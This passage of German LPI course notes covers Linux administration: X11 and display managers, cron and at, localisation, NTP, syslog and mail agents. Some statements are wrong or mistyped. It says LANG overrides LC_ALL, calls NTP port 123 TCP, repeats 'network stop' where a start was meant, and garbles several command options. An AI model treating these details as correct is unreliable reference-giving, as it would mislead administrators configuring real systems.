Wieder zur Standardoberfläche zurückkehren lässt sich ganz einfach mit:
Debian:
killall Xorg ; /etc/init.d/kdm start
openSUSE:
killall X ; init 5
Fragen zur Vertiefung
Mit welchen Optionen wurde denn der X-Server via Display-Manager gestartet? => z.B. mit -nolisten tcp (Der TCP-Port 6000 wird NICHT geöffnet) => via Unix Domain Socket: /tmp/.X11-unix/X0
Was versteht man unter einem Display-Manager? Es handelt sich um ein spezielles X-Window-System, das bequemen, grafischen User-Login zu ermöglicht (Entsprechung bei MS: „winlogon“)
Worin besteht der Hauptunterschied zwischen Windowmanager und Desktop Environment?
Ein Window-Manager ist Basis jedes Desktops, so hat z.B. KDE als Standard-Fenstermanager kwin
Ein Windowmanager bringt KEINE Zubehörprogramme mit
Ein Desktop unterstützt Kommunikation zwischen Zubehör-Apps
Ein Desktop setzt auf einheitliche Libs (KDE = qt) => einheitliches Look & Feel von Apps
Der Startvorgang von X
Unter SuSE, CentOS oder Porteus Linux lässt sich der klassische Startvorgang des X-Window-Systems - vor allem bezüglich des Wechsels zwischen den Runleveln 3 und 5 - am besten studieren.
Unter Debian führt ein ‚init 3‘ aus dem Runlevel 5 heraus nur zu einem Neustart des Displaymanagers. Daher ist es hier sicherer, die grafische Oberfläche beispielsweise auf die folgende Art zu stoppen (aus https://wiki.debian.org/Xorg):
$ /etc/init.d/gdm stop || /etc/init.d/gdm3 stop || /etc/init.d/kdm stop || /etc/init.d/xdm stop || /etc/init.d/lightdm stop
Möglichkeiten, die grafische Oberfläche zu starten:
a) via Display Manager (i.d.R. zu empfehlen)
b) via xinit (zuerst Konsole-Login, dann 'startx')
Starten mittels xinit/startx
FRAGE: Wie lautet eine übliche Abfolge von Kommandos und entsprechenden Startskripten?
ACHTUNG: Hier darf nichts in Sachen '~/.xsession' auftauchen! Das wäre der falsche Kontext: es handelt sich um die Startupdatei des "Display Manager"
Übung „xinit“-Start austesten: init 3 STRG + ALT + F2 (tty2) → als tux einloggen → startx
KLAPPT NICHT!
Workaround:
vi /etc/inittab
ÄNDERN AUF: id:3:initdefault:
reboot
Geht immer noch nicht!
Nächster Test als root:
/etc/init.d/xdm stop
startx
=> Es ist zu beobachten: es startet sich mein installierter und favorisierter Desktop: lxde
Da wir aber lediglich einen kleine Fenstmanager wollen, nämlich "icewm", schreiben wir eine eingene Startdatei:
vi /root/.xinitrc
xterm &
firefox &
exec icewm
startx
FRAGEN:
Wie wird die Konfiguration des X-Servers durchgeführt?
a) grafisch, z.B. unter SuSE: yast2
b) per Hand in Configdateien
Heute: /etc/X11/xorg.conf (Gibt es zum Teil nicht mehr, via udev erfolgt automatische Erkennung)
Früher: /etc/X11/XF86Config
Zur Konfigurationsdatei des X-Servers *XF86Config* bzw. *xorg.conf*:
Wie heißt die Sektion, in der Schriftarten eingebunden werden: files
Wie lautet die Anweisung, um einen X11-Font-Server (xfs) in eben dieser Sektion clientseitig einzubinden („unix“ ist hierbei ein Unix Domain Socket)?
FontPath "unix/:7100"
Der Vorteil eines Fontservers: Einsparen von Plattenplatz sowie möglicherweise von Lizenzkosten (siehe du -h /usr/share/fonts/* | sort -h
).
Bitte unter SuSE Liux installieren:
zypper in xvidtune xwininfo
Bitte testen:
xvidtune -show
xrandr (Mögliche Modes auflisten)
xrandr -s 1024x768 (Auflösung ändern)
Troubleshooting X11
Welche Treiber sind installiert:
SuSE: rpm -qa | grep xorg
Debian: dpkg -l | grep xorg
Eine (neue) xorg.conf erzeugen und testen:
init 3
Xorg -configure
Xorg -retro -config xorg.conf.new
Starten mittels Display-Manager
ACHTUNG: Die persönliche Konfigurationsdatei heißt hier ‚~/.xsession‘, hat aber den gleichen Aufbau wie die Datei ‚~/.xinitrc‘ und kann daher einfach verlinkt werden:
$ cd ; ln -s .xinitrc .xsession
INSTALLATION UND KONFIGURATION VON LIGHTDM
$ apt-get update
$ apt-get install lightdm
$ cd /etc/lightdm
$ cp lightdm.conf lightdm.conf.orig
$ vi lightdm.conf
Jetzt springen wir auf Zeile 100 (vim: 100G) und setzen folgendes auf diesen Wert (oder umgekehrt auf ‚false‘):
greeter-hide-users=true
Dann experimentieren wir mit ‚autologin‘ (vim-Suche: /autologin) und werden auf Zeile 117 fündig. Wir setzen dafür z.B. den Benutzer ‚surfer‘ ein:
autologin-user=surfer
Als Testbenutzer legen wir uns eben diesen ‚surfer‘ an, der lediglich eine restrikte Bash als Loginshell erhält (rbash
= bash -r
):
$ useradd -m -s /bin/rbash surfer
$ passwd surfer
Nach Änderungen der Datei bitte nicht vergessen, systemctl restart lightdm
auszuführen.
Fragen zur Wiederholung
Was versteht man unter einem Display-Manager?
Ist ein spezielles X-Window-System, um bequemes, grafisches User-Login zu ermöglichen (im Vergleich zu MS: "winlogon")
VORTEIL: Vom Despktop aus lassen auch mit höheren Rechten ACPI-Funktionen wie Suspend-to-RAM / Suspend-to-Disk
Worin besteht der Hauptunterschied zwischen Windowmanager und Desktop Environment?
Windowsmanager ist Basis jedes Desktops: KDE hat kwin als Standard-Fenstermanager
Ein Windowmanager bringt KEINE Zubehörprogramme mit
Ein Desktop unterstützt Kommunikation zwischen Zubehör-Apps
Ein Desktop setzt auf einheitliche Libs (KDE = qt) => einheitliches Look & Feel von Apps
Mit welchen Optionen wurde ihr X-Server gestartet (In Sachen Sicherheit: ist der TCP-Port 6000 offen, siehe ps aux)?
ps aux | grep X
--> Hierbei muss '-nolisten tcp', d.h. der TCP-Port wird NICHT geöffnet
Modifizieren Sie Ihre ~/.xinitrc, so dass Firefox automatisch beim Login gestartet wird.
vi ~/.xinitrc xterm & firefox & exec openbox
Geben Sie sich den Inhalt der Variablen DISPLAY aus. Wozu dient sie? Entfernen Sie diese Variable testweise aus Ihrerer Prozessumgebung (X-Terminal) und versuchen Sie das Programm „xlogo“ zu starten. Setzen Sie danach die Variable wieder neu (Inhalt wie beim Ausgangspunkt)
echo $DISPLAY unset DISPLAY xlogo --> Error: Can't open Display export DISPLAY=:0.0 xlogo
Wie heißt die Konfigurationsdatei beim alten XFree86-Grafikserver?
/etc/X11/XF86Config
Wie heißt das Kommandozeilenkonfigurationsprogramm des Xfree86-Grafikservers?
xf86config
Wie heißt das GUI-Konfigurationsprogramm des Xfree86-Grafikservers?
XF86Setup
Wozu dienen die folgenden Kommandos?
xvidtune → Monitor-Modlines anpassen
xwininfo → Informationen über ein Fenster erhalten
xdpyinfo → Informationen über installierten X-Server ausgeben
Welche Programme spielen eine Rolle, wenn man KEINEN Display-Manager einsetzt?
/usr/bin/X (/usr/bin/Xorg)
/usr/bin/xinit (In der Praxis: xinit /usr/bin/fluxbox)
/usr/bin/startx (Zum Starten der Oberfläche mit Einstellungen laut ~/.xinitrc oder /etc/X11/xinit/xinitrc)
Weitere Fragestellungen
Sie wollen einen Font-Server für Ihre X11-Schriftarten einrichten, welchen Eintrag müssen Sie in der
/etc/X11/XF86Config bzw.
/etc/X11/xorg.conf
im Abschnitt Files hinzufügen?
Welche Voraussetzungen müssen erfüllt sein, dass nach dem Setzen der DISPLAY-Variable auf einem X-Client die grafische Ausgabe auf dem entfernten X-Server erscheint?
Welche Programme gibt es im Zusammenhang mit der serverseitigen Host-Zugriffskontrolle?
Welche Datei spielt hierbei eine Rolle (Hidden File in $HOME)?
Was versteht man unter dem MIT-MAGIC-COOKIE?
⇒ Siehe dazu auch http://www.fibel.org/linux/lfo-0.6.0/node511.html
Praktische Übungen
Sorgen Sie dafür, dass auf Debian und CentOS alle DHCP- und Network-Manager-Dienste gestoppt sind
Konfigurieren Sie temporär die beiden Maschinen folgendermaßen:
Debian:
IP-Adresse: 192.168.99.1
Standardgateway mit folg. Zeile: route add default gw 192.168.99.254
CentOS:
IP-Adresse: 192.168.99.2
Standardgateway mit folg. Zeile: route add default gw 192.168.99.1
Testen Sie, ob sich die beiden Maschinen gegenseitig erreichen können
Legen Sie auf Debian einen Benutzer an:
useradd -s /bin/bash -m fritz passwd fritz
Loggen Sie sich auf die grafische Oberfläche von CentOS ein, verbinden Sie sich danach zu Debian unter Verwendung des neuen Benutzers und verschlüsseltem X11-Forwarding und testen Sie von dort aus, ob sich grafische Anwendungen wie xlogo starten lassen:
ssh -X fritz@192.168.99.1
106.2 Setup a display manager
Wie kann man den xdm-Login-Vorgang personalisieren?
~/.xsession
In welcher Datei konfiguriert man das GDM-Default-Greeting?
/etc/X11/gdm/Init/Default
In welcher Datei konfiguriert man ein eigenes GDM-Greeting?
/etc/gdm/custom.conf
In welcher Datei stellt man den XDM-Background ein?
/etc/X11/xdm/Xsetup
Wo kann ein Benutzer Standardeinstellungen für Fenstergröße, Fernsterort (Geometry) und Farbschema ändern?
~/.Xdefaults sowie ~/.Xresources
Wie heißen die althergebrachten Standard-Wurzelverzeichnisse für die Konfiguration von xdm, gdm und kdm?
/etc/X11/xdm /etc/X11/gdm /etc/X11/kdm
Wie heißt die kdm-Konfigurationsdatei (kdm-Version für KDE4), die beim Logout abgearbeitet wird?
/etc/kde4/kdm/Xreset
Nennen Sie Kommandos und Startupdateien für ein X-Window-System ohne Displaymanager gemäß ihrer Ausführungsreihenfolge.
startx -> xinit -> ~/.xinitrc -> X -> openbox -> firefox startx -> xinit -> ~/.xinitrc -> X -> X-Clients
106.3 Accessibility
ZIEL: Hilfestellung für Behinderte geben
Wichtige Begriffe/Tools für LPI:
Sticky Keys: Unterstütung von Menschen, die Probleme haben, mehrere Tasten festzuhalten
emacspeak, orca: Screenreader
GOK: Gnome Onscreen Keyboard
Spezielle Hardware
Ausgabegerät Braillezeile: https://www.papenmeier-rehatechnik.de/de/produkte/blind/braillezeilen.html
Weitere Geräte: https://www.bitvtest.de/infothek/artikel/lesen/hilfsmittel.html
Softwarelösungen
Eingabe:
Tastaturkombinationen: Sticky Keys (https://en.wikipedia.org/wiki/Sticky_keys)
Virtuelle Tastaturen:
GOK (Gnome Onscreen Keyboard)
xvkbd (auch gegen Keylogger einsetzbar)
matchbox-keyboard
Speech-to-Text (Spracherkennung): Simon Listens, (https://www.linuxlinks.com/best-free-linux-speech-recognition-tools-open-source-software/ sowie https://pemmann.de/cc/Doc/Mindmaps/Sprache-Computer.html)
Ausgabe
Bildschirmlupe (Screen Magnifier): xmag, kmag, xzoom
Bildschirminhalt vorlesen (Screen Reader): orca, emacspeak
Text-to-Speech: festival, flite (https://wiki.ubuntuusers.de/Sprachausgabe/)
Topic 107: Administrative Tasks
107.2 Automate system administration tasks by scheduling jobs
Zwei Zeitsteuerungsmethoden
Ständig wiederkehrende Aufgaben: cron / anacron
Einmalig auszuführende Jobs: at / batch
Wiederkehrende Aufgaben mit cron
Der cron-Daemon läuft i.d.R. immer, er überwacht /var/spool/cron/crontabs
Die systemweite Config-Datei /etc/crontab bindet weitere Verzeichnisse ein, in denen Skripte mit Zietsteuerungen liegen können, z.B.
/etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly
Im Unterschied zu User-Crontabs hat die /etc/crontab eine Spalte mehr: Username
Als Standard-Shell wird die einfache /bin/sh verwendet, als Newline-Zeichen ist (%) eingestellt!
Zur Bedeutung der einzelnen Felder siehe man 5 crontab
Beispiele
Übungshalber eine Testdatei zyklisch erstellen lassen
Kommando:
crontab -e
Inhalt der Cron-Tabelle:
# Montags, Mittwochs und Freitags aller 10 Minuten eine Datei unter /tmp mit Zeitstempel anlegen # min h dom mon dow command */10 * * * 1,3,5 date > /tmp/datei-$(date +\%F_\%H-\%M)
Als root Systembackup einrichten, User-Crontabs verwalten
Die Kommandozeilen
$ mkdir -m 700 /srv/backup $ vi /etc/crontab (Nach dem Speichern und Beenden wird die Änderung von cron automatisch eingelesen)
Inhalt der Cron-Tabelle:
# Täglich um 2 Uhr das Verzeichnis /etc sichern 0 2 * * * root tar czf /srv/backup/etc-`date +\%F`.tar.gz /etc 2> /dev/null # Wochentags 2x täglich um 14 und 2 Uhr Backup von /home machen 0 2,14 * * 1-5 root tar czf /srv/backup/home-`date +\%F_\%H`.tar.gz /home 2> /dev/null
-u <USER> Crontabs anderer User einsehen, bearbeiten und mit ‚-r‘ löschen
Eigene Backups als User planen
Kommando
crontab -e
Optionen
-l Jobs auflisten
-e Jobs editieren
$ crontab -e # Bei Debian startet sich nano: Speichern: STRG + o Beenden: STRG + x # Alternativ kann mittels 'export EDITOR=vi' der Editor 'vim' aufgerufen werden.
-r Gesamte Crontab löschen
Beispielinhalt einer Cron-Tabelle (Voraussetzung:
mkdir ~/.BACKUP
):# Wochentags von 7-17 Uhr das Verzeichnis ~/Dokumente aller 30 Minuten sichern # min h dom mon dow command */30 7-17 * * 1-5 tar czf ~/.BACKUP/Dokumente-`date +\%F_\%H-\%M`.tar.gz ~/Dokumente > /dev/null 2>&1
Aufgaben zur Wiederholung
Erstellen Sie als Benutzer „tux“ einen Cronjob, der aller 10 Minuten das Verzeichnis ‚~/.config‘ sichert, wobei ein Zeitstempel mitgegeben werden soll. Welche zwei Möglichkeiten gibt es, die Zeitplanung zu realisieren?
Zielordner erzeugen: mkdir -p ~/.BACKUP
Als Benutzer: crontab -e
0,10,20,30,40,50 * * * * tar czf ~/.BACKUP/.config-$(date +\%F_\%M:\%H).tar.gz ~/.config
*/10 * * * * tar czf ~/.BACKUP/.config-$(date +\%F_\%M:\%H).tar.gz ~/.config
Entfernen Sie nach Abschluss der Cronjob-Tests als root die Cron-Tabelle von tux.
Sicher root werden: /bin/su -
Crontab komplett löschen: crontab -r -u tux
Erklären Sie Gemeinsamkeiten und Unterschiede von cron und anacron.
Gemeinsamkeit: Planung von sich ständig wiederholenden Aufgaben
Unterschiede:
Anacron führt die Aufgaben nur 1x täglich durch, ist für Desktop-Rechner => jobs werden nachgeholt, wenn der Rechner nicht zur geplanten Zeit läuft
Cron = für Server gedacht, die Rund um die Uhr laufen, weshalb periodische Abarbeitung möglich ist
Schreiben Sie ein Skript, das den Download eines Radio-Stroms mit
wget http://dradio_mp3_dlf_m.akacast.akamaistream.net/7/249/142684/v1/gnl.akacast.akamaistream.net/dradio_mp3_dlf_m
auslöst und denselben nach 3 Minuten wieder stoppt. Eine mögliche Lösung könnte lauten:
#!/bin/sh
#
# dradio-mitschnitt.sh
wget http://dradio_mp3_dlf_m.akacast.akamaistream.net/7/249/142684/v1/gnl.akacast.akamaistream.net/dradio_mp3_dlf_m &
sleep 3m
killall wget
107.3 Localisation and internationalisation
Zeitzoneneinstellungen
Änderungen mit Hilfe eines Skriptes: tzselect
ZIEL: Verändungen der Nutzer-Umgebungsvariablen (ohne root-Berechtigung) „TZ“:
tzselect
10) Pacific Ocean -> 29) Hawaii -> 1) YES
Hilfstext: TZ='Pacific/Honolulu'; export TZ
echo "export TZ='Pacific/Honolulu'" >> .profile source .profile
Ein veraltetes Kommando ist diesbezüglich: tzconfig
Ausgangspunkt für Zeitzonen: /usr/share/zoneinfo
Oberste Verzeichnisebene: Kontinent
Unterste Ebene = Zielobjekt (Link oder Binärdatei): Stadt
Änderungen mit Hilfe von SymLinks oder direktem Kopieren der Binärdateien (als root!):
Datei für das Speichern des Stadtnamens: /etc/localtime
Unter CentOS: ln -s /usr/share/zoneinfo/Europe/Berlin /etc/localtime
Unter Debian: cp /usr/share/zoneinfo/Europe/Berlin /etc/localtime
Eine weitere, möglicherweise nicht vorhandene Datei (Klartext): /etc/timezone (Datei hat nur informellen Wert)
Inhalt bei Debian: Europe/Berlin
(Bei Debian macht es Sinn, dass die Datei existiert, da anders als bei RedHat - wo es sich um einen SymLink handelt, an den man die Zeitzone ablesen kann - die '/etc/localtime' hier eine binäre Datei ist, anhand der die Zone nicht direkt ersichtlich ist.)
Umgebungsvariablen für Lokalisierung
ZIEL: Landeskonforme Darstellung von Einheiten wie Währung, Parpierformat, Datum, Uhrzeit…
Ausgabe der Standardeinstellungen (Nutzerabhängig!): locale
Ausgabe der verfügbaren Lokalisierungen: locale -a
Spezielle Variablen:
LANG: Standartwert für alle Variablen vorgeben, der leicht von der einzelnen benutzerdefinierten Variable überschrieben werden kann, z.B.:
export LANG=C (Rohdaten-Ausgabe [engl]) export LC_PAPER="de_DE.UTF-8"
Dieses Variablen können für einmaige Ausführung vorangestellt werden:
LANG=C date
LANG: Nur die Sprache ändern, andere Variablen behalten ihren Wert, Initialisierung aus der /etc/inittab heraus. Sie besitzt hohe Priorität: LC_ALL kann sie nicht mit ändern.
LC_ALL: Alle LC_-Variablen mit einem Mal setzen (außer „LANG“) Die benutzerdefinierten Variablen (z.B. „LC_PAPER“) lassen sich hier nachträglich NICHT personalisieren.
Hinweis: Das althergebrachte Suchen nach Grußbuchstaben in Dokumenten mit funktionert mit LANG=“de_DE.UTF-8“ nicht mehr, da grep mit UTF-8 u.U. nicht klarkommt, Lösung:
LANG=POSIX grep '^[A-Z].*' textdokument.txt
Nachträgliche Konvertierung von Zeichensätzen in Textdokumenten: iconv, z.B:
echo "Viel Spaß und viel Glück." > sourcefile.txt
file sourcefile.txt -> sourcefile.txt: UTF-8 Unicode text iconv -f UTF-8 -t ISO-8859-15 sourcefile.txt -o outputfile.txt
file outputfile.txt -> outputfile.txt: ISO-8859 text
cat outputfile.txt -> Viel Spa� und viel Gl�ck.
TIPP: Ausgabe der bekannten Zeichencodes: 'iconv -l'
Konvertieren von Zeichensätzen in Dateinamen: convmv
Siehe auch http://www.heise.de/ct/hotline/Linux-vermatscht-Umlaute-326142.html
Ursache kann falsches Mounten von vfat-Partitionen sein; am besten man beugt vor:
mount -o iocharset=utf8 /dev/sdb1 /mnt
Netzwerkkonfiguration CentOS
AUFGABE:
Zweiten Adapter in VirtualBox aktivieren, mit „Internes Netzwerk“ verbinden, dabei den Namen „intnet2“ vergeben.
Hinweise zur Konfiguration der Ethernet-Karten: Bei CentOS 7 heißen die Schnittstellen, die man mit ifconfig -a identifizieren kann nicht eth0 und eth1, sondern enp0s3 und enp0s8. Die Dateinamen wurden im Beispiel mit ifcfg-nic0 und ifcfg-nic0 bewusst abweichend gewählt; entscheidend ist lediglich, dass eine Übereintimmung der identifizierten Schnittstellennamen mit der Angabe bei DEVICE=““ besteht.
Die Konfiguration erfolgt natürlich wieder als root:
# Ins verantwortliche Verzeichnis wechseln
cd /etc/sysconfig/network-scripts/
# Die erste Schnittstelle konfigurieren/anpassen, es reichen 5 Zeilen aus:
vi ifcfg-nic0
BOOTPROTO="none"
ONBOOT="yes"
IPADDR="172.16.0.2"
PREFIX="30"
DEVICE="enp0s3"
# Die zweite Schnittstelle konfigurieren/anpassen, es reichen 5 Zeilen aus:
vi ifcfg-nic1
BOOTPROTO="none"
ONBOOT="yes"
IPADDR="192.168.99.1"
PREFIX="24"
DEVICE="enp0s8"
Abschließend das Netzwerk stoppen und wieder starten:
/etc/init.d/network stop
/etc/init.d/network stop
Zur Kontrolle eingeben:
ifconfig
ping -c3 172.16.0.1
Übungen/Fragen zur Wiederholung
Erstellen Sie eine einmalig auszuführende Aufgabe, die am morgigen Tag zur Tee- bzw. Kaffeezeit die aktuelle Uhrzeit zusammen mit der Nachricht „Jetzt ist Vesper.“ ins Systemlog schreibt.
at teatime tomorrow at> logger "Jetzt ist Vesper: `date +%F`" STRG + D
Lassen Sie sich die einmalig laufenden, auf Ausführung wartenden Aufgaben auflisten, löschen Sie den letzten Job.
atq at -c 6 (Detaillierte Auskunft über der Job 6 erhalten) atrm 6 (Alternativ: at -r)
Wie heißen wichtige Variablen für die Lokalisierungseinstellungen eines Benutzers? Mit welchen Kommandos kann man sie ausgeben?
Das Kommando "locale" gibt eine Übersicht aus, beseispielsweise:
LANG
LC_PAPER
LC_TIME (Zeit- und Datumsformat, NICHT die Zeitzone!! → TZ)
LC_TELEPHONE
LC_ALL (Nicht überschreibbar!)
Welche Variable kann mehrere Lokalisierungvariablen mit Default-Werten ausstatten, wobei sie aber mit eigenen Werten überschrieben werden können?
Die Variable "LANG"
Geben Sie mit Hilfe von date temporär in einer Kommandozeile die aktuelle Uhrzeit von Bulgarien aus.
Zeitzonenkonfigurationsfrontend: tzselect
TZ=Europe/Sofia date
In welcher Verzeichnisstruktur befinden sich die Binärformat-Zeitzonendateien?
/usr/share/zoneinfo --> Kontinent/Stadt
Wie heißt die Datei, die die Zeitzone Ihres Rechners ausgehend von den Binärformat-Zeitzonendateien konfiguriert?
/etc/localtime (Die Ortszeit (Stadt), die am Rechnerstandort gilt...)
Wie heißt die Datei (falls vorhanden), mittels der Sie in Erfahrung bringen können, in welcher Zeitzone Sie sich aktuell befinden?
/etc/timezone (Zur Kontrolle, Klartextdatei)
Laden Sie sich unter Debian als root die englische Tastaturbelegung. Testen Sie es und setzen Sie die Einstellung abschließend zurück (Siehe https://wiki.debian.org/Keyboard).
dpkg-reconfigure console-data dpkg-reconfigure keyboard-configuration service keyboard-setup restart
Mit welchem Kommando kann man unter X11 die Tastaturbelegung temporär von Deutsch auf US-Amerikanisch umstellen (Siehe obigen Link)?
setxkbmap us
Topic 108: Essential System Services
108.1 Maintain system time
Uhrzeit stellen
Unterschiede Windows / Unix:
Windows konfiguriert die Uhr lediglich nach Localtime (Ortszeit, hier: Berlin)
Unix führt zwei Uhren: Die HW-Uhr läuft nach GMT/UTC, die SW-Uhr liefert bei Anfrage einer Anwendung die Zeit je nach Zeitzone live umgerechnet aus.
Herausfinden, nach welcher Uhr das System läuft: cat /etc/adjtime => hier wird entsprechend dem Linux-Standard u.a. „UTC“ ausgegeben, das bedeutet:
Die BIOS-Uhr läuft nach GMT, sie Software-Uhr muss immer umrechnen
Diese Voreinstellung ist NICHT empfehlenswert bei einem Dual-Boot mit Windows, dann muss in der adjtime der Wert „LOCAL“ eingetragen werden, dann aber dürfen HW- und SW-Uhr nicht mehr mit Zeitversatz zu laufen
Das Stellen der beiden Unix-Uhren:
Software-Uhr: date, rdate, ntpdate
Hardware-Uhr: hwclock
Beispiele (Als root auszuführen):
Nur Zeit stellen: date -s 10:20
Zeit und Datum: date 01271012
Zeit und Datum mittels NTP (TCP-Port 123): ntpdate time.fu-berlin.de
Die HW-Uhr nach der SW-Uhr stellen: hwclock –systohc [–utc] [–localtime]
In Ausnahmefällen umgekehrt: hwclock –hctosys
Zeitsynchronisation mit NTP-Server
Installation unter Debian: apt-get install ntp (= Server und Client zugleich)
Konfiguration: vi /etc/ntp.conf
Angabe eines Zeitservers im LAN: server 10.0.0.1
Angabe eines speziellen Zeitservers: server time.fu-berlin.de
Server stoppen, um Uhr an GMT heranführen zu können: service ntp stop
Uhr nach GMT stellen: ntpdate pool.ntp.org
Server starten: service ntp start
Kontrolle der NTP-Queue (Peers ausgeben): ntpq -p (Interessante Spalten: offset, jitter)
Interaktive Kontrollprogramm: ntpdc (help / sysinfo)
Bei Debian bietet der NTP-Server automatisch seinen Dienst im LAN an, zur Überprüfung:
nmap -p 123 -sU 172.16.0.1 (NICHT mit 'localhost' testen)
NTP-Server auf CentOS einrichten
Die Software ist bereits vorinstalliert.
Konfiguration: vi /etc/ntp.conf
Angabe den benachbarten Zeitservers im LAN: server 172.16.0.1 (Die anderen Server auskommentieren)
Dienst starten: service ntpd start
Runlevel-Links für automatischen Start erzeugen:
Bis CenOS 6.5: chkconfig ntpd on
Ab CentOS 7.0: systemctl enable ntpd
Kontrolle: Siehe oben (ntpq, ntpdc)
Übungen/Fragen zur Wiederholung
- Wie kann man sich das Datum nach „Coordinated Universal Time“ (UTC) ausgeben lassen?Siehe dazu:
Wie kann man mit Hilfe der System/Software-Uhr die BIOS-Uhr stellen, wenn letztere zu weit abgedriftet ist?
date 01281005 hwclock --systohc [--utc] [--localtime] (Standard ist dabei die UTC-Zeit.)
-> Kurzformen: -w (--systohc), -u (--utc)
Wie lässt sich die Systemzeit in einem einmaligen Vorgang via Internet mit Hilfe eines sehr genauen Protokolls stellen?
ntpdate pool.ntp.org
Wie heißt die Konfigurationsdatei des Dienstes, des mit Hilfe dieses sehr genauen Protokolls die Systemzeit permanent überwachen und stellen kann?
/etc/ntp.conf
- Setzen Sie mit Hilfe von
hwclock
die Uhrzeit ohne Umwege über ein weiteres Kommando.Siehe dazu:man hwclock
-
hwclock --set --date="01/28/2015 10:05"
108.2 System logging
Log-Daemons
Mit dem Starten von Linux werden Logdienste auf zwei Ebenen gestartet:
a) 'klogd' fängt die frühen Kernelmeldungen ab und speichert sie später ab
(Input: /proc/kmsg, Output: /var/log/boot.log)
b) 'syslogd' nimmt dann alle möglichen Meldungen (von verschiedensten Diensten stammend)
entgegen und speichert sie in unterschiedlichste Dateien oder sendet sie an andere Syslog-Daemons
Es gibt interschiedlichste Implementierungen des syslogd:
Klassischer syslogd
Verbesserter Dienst: syslog-ng
Dienst mit verschlüsselter Kommunikation: rsyslogd
Konfiguration des alten Syslogd
Name der Datei: /etc/syslog.conf
Aufbau der Datei:
Header: Definition von allgemeinen Variablen, Modulen und Arbeitsverzeichnissen
Rules: Aufsplittung in drei Spalten: facility.level action
Zur Spalte facility: Mögliche Meldungs-Quellen (Auswahl):
auth (Autorisierung)
cron (Zeitdienst)
kern (Kernel)
local0 bis local7 (frei belegbare Quellen)
Zur Spalte level: Mögliche Meldungs-Level:
debug (Anwendungsdebugging)
info (allgemeine Informationen)
notice (etwas wichtigere Hinweise)
warn, warning (i.d.R. harmlos)
err, error (Fehler)
crit
alert
emerg
Dabei beinhalten niedrigere Level die Meldungen der höheren, z.B. beinhaltet '*.info' den Level "info" und höher. Möchte man exakt nur einen Level loggen, ist das '=' erforderlich: '*.=info'
Zur Spalte action: Mögliche Aktionen:
Logausgabe in Datei: /var/log/auth.log (absolute Pfade!)
Logausgabe in Datei, wobei zwischengepuffert wird (Minus voranstellen): -/var/log/syslog
Logausgabe auf Konsole: /dev/tty10
Logausgabe an einen Benutzer: max
Logausgabe an alle eingeloggten Benutzer: *
Logausgabe an den entfernten Loghost-Rechner senden: @loghost (Der Daemon auf diesem Loghost muss mit Option -r gestartet werden)
Logausgabe auf benannte Pipe: |, z.B. |/dev/xconsole
Um unter Debian die bereits vordefinierte Protokollierung via '/dev/xconsole' auslesen zu können, müssen die Berechtigungen angepasst werden:
chgrp adm /usr/bin/xconsole chmod 2755 /usr/bin/xconsole
Damit kann nun ein Benutzer dieses Programm 'xconsole' aufrufen und die vor allem auch die Meldungen lesen.
ACHTUNG: Bitte in Sachen Datenschutz aufpassen: wird hier 'auth' und 'authpriv' mit in die Pipe geschrieben?
Zur Untersuchung des Falls: 'grep -v ^# /etc/rsyslog.conf | grep -B4 xconsole'
Die Ausgabe dieser Zeile lautet:
daemon.*;mail.*;\
news.err;\
*.=debug;*.=info;\
*.=notice;*.=warn |/dev/xconsole
Besser wäre im obigen Abschnitt hinzuzufügen: auth,authpriv.none
Aufgabe: Geben Sie die Ausgabe aller Dienste jeden Levels auf die Konsole /etc/tty10 aus. Hinweis: Nach Änderung der Konfigdatei muss der Dienst „reloaded“ werden.
Lösung:
echo '*.* /dev/tty10' >> /etc/rsyslog.conf
service rsyslog restart
logger 'Logging und Jogging...'
STRG + ALT + F10
Sichern / Komprimieren der Logdateien
Das Tool der Wahl: logrotate
Arbeitsweise: Logdateien werden umbennant und komprimiert, danach wird einfach eine neue Datei erzeugt und Daten hineingeschrieben. Siehe man logrotate
Das Programm wird über cron gesteuert.
Bitte Datei /etc/logrotate.conf studieren…
Betrachten von Logfiles
tail -f -n30 /var/log/boot.log
tail -f -n30 /var/log/syslog
tail -f -n30 /var/log/messages
logtail
logwatch (Logparser)
Fragen/Aufgaben zur Wiederholung
Zählen Sie alle Facilities der
/etc/syslog.conf
Syslog-Deamons auf.Siehe
man syslog.conf
auth, authpriv, cron, daemon, kern, lpr, mail, mark, news, syslog, user, uucp, local0 - local7
Zählen Sie alle Prioritäts-Level der
/etc/syslog.conf
auf.Siehe
man syslog.conf
debug, info, notice, warning, warn (same as warning), err, error (same as err), crit, alert, emerg, panic (same as emerg)
Listen sie die Möglichkeiten von Aktionen (Log-Ziele) in der
/etc/syslog.conf
auf.Logfile (Mit absoluten Pfaden! Ein vorangestelltes Minus bedeutet „Kein sofortiges „sync“ duchführen, sondern „Caching ist erlaubt“)
Named Pipes: „|“, z.B.
/dev/xconsole
Unix Domain Socket: „@@“
Terminals/Consolen: /dev/tty10
Remote Machine: „@RemoteHostName“
List of Users: „root,max,fritz“
An jeden eingeloggten Benutzer (via Kommando
wall
): „*“
Erstellen Sie einen Log-Eintrag, der speziell nur die beiden Facilities user und lpr in eine Datei
/var/log/user.log
schreibt.Datei Bearbeiten:
vi /etc/syslog.conf
einfügenuser,lpr.* /var/log/user.log Alternativ: user.*;lpr.* /var/log/user.log
Wie kann man eine bestimmte Facility NICHT mit in ein File loggen lassen?
Ausnahme: facility.none‘
Beispiel von Debian:
*.*;auth,authpriv.none -/var/log/syslog
Welche Sonderzeichen können den „Actions“ vorangestellt werden und was bedeuten Sie?
Minus: Logdatei wird gepuffert
@: An rechner weiterleiten
Pipe: An Benannte Pipte weiterleiten
Stern: An jeden eingeloggten Benutzer senden
108.3 Mail Transfer Agent (MTA) basics
Zum Einstieg: Google-Bildsuche: mta mda mua maa
Komponenten:
Mail Transfer Agent (MTA) = Mailer Daemon, Direktübertragung zwischen MTAs via Simple Mail Transfer Protocol (SMTP, TCP-Port: 25)
=> Das ganze Internet spricht SMTP!
Mail Delivery Agent (MDA) = Postbote, der die eingegangene Mail verteilt
Mail User Agent (MUA) = Mail Reader/Writer (Thunderbird, Evolution, kmail, mail, …)
Mail Access Agent (MAA) = Paketdienst zum verschlossenen Briefkasten, da einfache Nutzer i.d.R. keinen MX-Record bei Ihrem Nameserver haben, müssen sie selber zum Postkasten gehen., Protokolle: POP3, IMAP
Einrichtung von MTA - MTA-Kommunkation
Welcher MTA sollte man wählen?
sendmail (Sehr flexibel aber auch komplizierte und eher unsicher)
postfix (= Standard Linux-MTA, modular, sicher)
qmail (moduler, sehr sicher)
